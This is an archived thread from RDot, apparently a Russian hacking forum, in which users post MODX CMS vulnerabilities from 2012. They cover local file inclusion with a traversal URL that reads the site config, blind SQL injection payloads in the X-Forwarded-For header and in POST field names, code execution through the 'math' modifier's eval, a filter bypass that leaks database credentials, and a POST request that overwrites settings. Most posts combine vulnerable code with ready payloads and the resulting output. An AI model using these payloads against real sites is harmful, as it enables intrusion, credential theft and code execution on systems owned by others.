RDot

RDot (https://rdot.org/forum/index.php)
-   Сценарии/CMF/СMS (https://rdot.org/forum/forumdisplay.php?f=15)
-   -   Уязвимости modx cms(smf) (https://rdot.org/forum/showthread.php?t=2313)

Faaax 22.07.2012 02:08

Уязвимости modx cms(smf)
 
LFI в modx cms(smf) только ветка EVO <= 1.0.6
Условия: Доступность папки /install/ (по дефолту после установки удаляется если не снять галку)

install/lang.php
PHP код:

if (isset($_POST['language'])) {
    
$install_language $_POST['language'];
} else {
    if (isset(
$_GET['language'])) 
        
$install_language $_GET['language'];
}

$manager_language "english";

if (isset(
$_POST['managerlanguage'])) {
    
$manager_language $_POST['managerlanguage'];
} else {
    if (isset(
$_GET['managerlanguage'])) 
        
$manager_language $_GET['managerlanguage'];
}

# load language file
if($install_language!="english" && file_exists("lang/".$install_language.".inc.php")) {
    include_once 
"lang/".$install_language.".inc.php"

найдено лично мной,в просторах инета не нашёл:)

Agel_Nash 24.07.2012 11:28

Хочу дополнить, что MODX ветки evolution больше не поддерживается разработчиками. Хотя возможно они эту багу прикроют. На данный момент активисты сделали форки, а соответственно бага и на них распространилась.

А вот и форки о которых я говорил выше: ClipperCMS и elegant-mind.

Безусловно бага имеет право на жизнь, т.к. некоторые заливают на поддомены движки так и не установив. Некоторые переименовывают папку install.

Agel_Nash 24.07.2012 11:32

Повышение прав администратора MODX EVO 1.0.6
 
Все наглядно показано в видео. http://www.youtube.com/watch?v=W3i9ZMZGZSg

Для эксплуатации уязвимости необходим установленный сниппет Ditto (ставится по умолчанию и используется на 99% сайтов) + права на редактирование документа (остальные права поднимаются легко за счет доступности функции eval). Обязательное условие - отсутствие символа = во внедряемом шеллкоде.

Agel_Nash 26.07.2012 23:19

LFI в browser.php (only php 5.2)
 
Модераторы, переименуйте тему. Поторопился и забыл указать к какому движку относится уязвимость.

LFI в modx cms(smf) только ветка EVO <= 1.0.6
Условия: mq=off и php<5.3.4

manager/media/browser/mcpuk/browser.php
PHP код:

define('MODX_BASE_PATH'realpath('../../../../'));
$rb = new FBROWSER();
$ph = array();
$ph['seturl_js'] = $rb->seturl_js();
$output $rb->render_fbrowser($ph);
echo 
$output;
class 
FBROWSER
{
    function 
seturl_js()
    {
        
$seturl_js_filename 'seturl_js_'  htmlspecialchars($_GET['editor']) . '.inc';
        
$seturl_js_path MODX_BASE_PATH 'assets/plugins/';
        if(
file_exists($seturl_js_path $seturl_js_filename))
        {
            
$result file_get_contents($seturl_js_path $seturl_js_filename);
        }
        else
        {
            
/*...............*/
        
}
        return 
$result;
    } 

Примечательно, что такой мегакритичный баг живет уже давно в этом движке. (хотя наверное в приватах давно знают об этом баге).

Цитата:

Сообщение от Example
http://example.com/manager/media/browser/mcpuk/browser.php?editor=/../../../docs/manager/includes/config.inc.php%00

Как можно заметить, мы выходим чуть выше директории в которой находится сайт. Поэтому нужно узнать пути. Благо способов море: 1, 2, 3, ...

P.S. Записал небольшое видео для демонстрации http://www.youtube.com/watch?v=RbTLLOd55So

TeamPro 08.08.2012 03:25

bSQL inj <== ModX v. 1.0.5
 
Автор: TeamPRO (c)
Дата: 22.07.2012
Наличие патча: -


Blind SQL Injection
Требования: Аккаунт пользователя / magic_quotes = off
Уязвимый скрипт: /modx-1.0.5/assets/snippets/weblogin/weblogin.inc.php
PHP код:

    if (getenv("HTTP_CLIENT_IP")) $ip getenv("HTTP_CLIENT_IP");
    else if(
getenv("HTTP_X_FORWARDED_FOR")) $ip getenv("HTTP_X_FORWARDED_FOR");
    else if(
getenv("REMOTE_ADDR")) $ip getenv("REMOTE_ADDR");
    else 
$ip "UNKNOWN";$_SESSION['ip'] = $ip;
    
    
$itemid = isset($_REQUEST['id']) && is_numeric($_REQUEST['id']) ? $_REQUEST['id'] : 'NULL' ;$lasthittime time();$a 998;
    if(
$a!=1) {
        
$sql "REPLACE INTO $dbase.`".$table_prefix."active_users` (internalKey, username, lasthit, action, id, ip) values(-".$_SESSION['webInternalKey'].", '".$_SESSION['webShortname']."', '".$lasthittime."', '".$a."', ".$itemid.", '$ip')";
        if(!
$rs $modx->dbQuery($sql)) {
            
$output "error replacing into active users! SQL: ".$sql;
            return;
        } 

P0C:
авторизируемся.Посылаем еще один запрос со своими куками.
Код:

GET \ POST http://localhost/modx-1.0.5/
X_FORWARDED_FOR: 127.0.0.1'and(select*from(select(name_const(version(),1)),name_const(version(),1))a)and'dasa
Cookie: [mycookies]

--->
Код:

Execution of a query to the database failed - Duplicate column name '5.0.92-log' »
Blind SQL Injection
[COLOR="rgb(46, 139, 87)"]Требования: аккаунт администратора[/COLOR]
Уязвимый скрипт: /modx-1.0.5/assets/modules/docmanager/classes/dm_backend.class.php
PHP код:

foreach ($_POST as $key => $value) {
                if (
substr($key010) == 'update_tv_' && $value == 'yes') {
                    
$tvKeyName substr($key10);                    
                    
$typeSQL $this->modx->db->select('*'$this->modx->getFullTableName('site_tmplvars'), 'id=' $tvKeyName '');
                    
$row $this->modx->db->getRow($typeSQL); 

P0C:
Код:

POST http://localhost/modx-1.0.5/manager/index.php?a=112&id=1

tid=3&pids=1&template_id=3&tabAction=changeTV&update_tv_1/**/or/**/(select/**/count(*)/**/from/**/(select/**/1/**/union/**/select/**/2/**/union/**/select/**/3)x/**/group/**/by/**/concat(version(),floor(rand(0)*2)))=yes

--->
Код:

Execution of a query to the database failed - Duplicate entry '5.0.92-log1' for key 'group_key' »

Raz0r 08.08.2012 09:06

@TeamPro
Код:

GET \ POST http://localhost/modx-1.0.5/
X_FORWARDED_FOR: 127.0.0.1'and(select*from(select(name_const(version(),1)),name_const(version(),1))a)and'dasa
Cookie: [mycookies]

Так работать не будет, нужно X-FORWARDED-FOR
Цитата:

Требования: Аккаунт пользователя / magic_quotes = off
magic_quotes_gpc не обрабатывает массив _SERVER, так что здесь без разницы включена директива или нет.

Agel_Nash 05.11.2012 10:03

Выполнение произвольного кода в админке MODX Revolution
Условия: доступ в админку с правами редактирования документов + отсутствие параметра output_filter в настройках (из коробки он не определен).
Автор: Agel_Nash
Дата: 05.11.2012
Наличие патча: +/- (официального патча нет и не будет. Исправить можно только руками притянув за собой переписаный класс)
Уязвимые версии: Все. На текущий момент последная 2.2.5-pl

Для эксплуатации будем использовать модификатор math
Код:

case 'math':
/* Returns the result of an advanced calculation (expensive) */
$filter= preg_replace("~([a-zA-Z\n\r\t\s])~", "", $m_val);
$filter= str_replace('?', $output, $filter);
$output= eval("return " . $filter . ";");
break;

Поле содержание ресурса заполняем как
Цитата:

[[*link_attributes:math=`?+1`]]
В поле атрибуты ссылки вставляем
Цитата:

eval("global \$modx; var_dump(\$modx);");
Открываем отредактированый документ в браузере

P.S. Можно использовать и другие поля, но тогда link_attributes придется заменить на соответствующий

P.P.S Разработчики отказались воспринимать данный баг за баг и исправлять не собираются. А тем временем, пользователь который якобы может только редктировать документы имеет возможность выполнять произвольный код.

Agel_Nash 08.11.2012 02:35

Обход фильтрации stripTags в MODX Revolution <= 2.2.5

PHP код:

$text="[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]!snippet]]";
$text=$modx->stripTags($text);
echo 
$text//[[!snippet]] 

По умолчанию эта функция фильтруется весь массив $_REQUEST
В чистом видео отчищенные данные мало где используется и как правило в компонентах делают дополнительные замены вида
PHP код:

$text=str_replace(array('[[',']]'),array('& #91[','& #91;& #91;'),$text); 

Смысл данной баги в том, что существует множество решений. В том числе и самописных. Для примера http://www.youtube.com/watch?v=tNlOg3MlUjk.

Можно использовать плэйсхолдеры dsn, password и username
PHP код:

[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]++password]]
[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]++
dsn]]
[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]++
username]] 

Остается найти только phpmyadmin

Agel_Nash 11.11.2012 13:28

Комбинация 2 последних багов: Обход фильтрации stripTags и Выполнение произвольного кода в админке MODX Revolution позволяет добиться вот такого эффекта (видео записано с разрешения владельца сайта).

Agel_Nash 15.11.2012 07:06

Перезапись системных настроек
Уязвимые версии движков: все MODX Evolution <= 1.0.6 + форки ClipperCMS и Elegant-mind

Эксплуатация уязвимост возможна из-за двойного LFI файлах
- index-ajax.php
- assets/snippets/ajaxSearch/ajaxSearchPopup.php
(эти LFI предназначены для системных нужд. т.е. особенности движка:-)

Отправляем POST пакет q=assets/snippets/ajaxSearch/ajaxSearchPopup.php&as_version=1.9.2&search=test&a ction=setsetting&key=site_name&value=b&ucfg=".urle ncode("&config=`@FILE:manager/includes/mutate_settings.ajax.php`") на index-ajax.php
для перезаписи системной настройки site_name.

После выполнения эксплоита кеш сайта не отчищается, т.к. скрипт mutate_settings.ajax.php вываливается в ошибку. Поэтому придется подождать пока кеш сайта не обновится (ждем когда админ сайта изменит что-то через админку).

По просьбе трудящихся вот выжимки из исходников
index-ajax.php
PHP код:

if($axhandler = (strtoupper($_SERVER['REQUEST_METHOD'])=='GET') ? $_GET['q'] : $_POST['q']) {
  
$axhandler preg_replace('/[^A-Za-z0-9_\-\.\/]/'''$axhandler);
  
$axhandler realpath($axhandler) or die(); 
  
$directory realpath(MODX_BASE_PATH.DIRECTORY_SEPARATOR.'/assets/snippets'); 
  
$axhandler realpath($directory.str_replace($directory''$axhandler));

  if(
$axhandler && (strtolower(substr($axhandler,-4))=='.php')) {
    include_once(
$axhandler);

    exit;
  }


assets/snippets/ajaxSearch/ajaxSearchPopup.php
PHP код:

function parseUserConfig($ucfg) {
        
preg_match('/&config=`([^`]*)`/'$ucfg$matches);
        return 
$matches[1];
    }
    
if (isset(
$_POST['search'])) {
    
define('AS_VERSION''1.9.2');
    ...
    if (!isset(
$_POST['as_version']) || (strip_tags($_POST['as_version']) != AS_VERSION)) {
     
$output "AjaxSearch version obsolete. <br />Please check the snippet code in MODx manager.";
    }
    else {
    ....
    
$config parseUserConfig((strip_tags($_POST['ucfg'])));
    ...
    
$lconfig = (substr($config06) != "@FILE:") ? AS_PATH "configs/$config.config.php" $modx->config['base_path'] . trim(substr($config6strlen($config)-6));
    if (
file_exists($lconfig)) include $lconfig;
    .... 

manager/includes/mutate_settings.ajax.php
PHP код:

$action preg_replace('/[^A-Za-z0-9_\-\.\/]/'''$_POST['action']);
$lang preg_replace('/[^A-Za-z0-9_\s\+\-\.\/]/'''$_POST['lang']);
$key preg_replace('/[^A-Za-z0-9_\-\.\/]/'''$_POST['key']);
$value preg_replace('/[^A-Za-z0-9_\-\.\/]/'''$_POST['value']);
$action $modx->db->escape($action);
$lang $modx->db->escape($lang);
$key $modx->db->escape($key);
$value $modx->db->escape($value);
...
if(
$action == 'get') {
    ....
} elseif(
$action == 'setsetting') {
 if(!empty(
$key) && !empty($value)) {
        
$sql "REPLACE INTO ".$modx->getFullTableName("system_settings")." (setting_name, setting_value) VALUES('{$key}', '{$value}');";
.... 



Часовой пояс GMT +3, время: 13:43.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot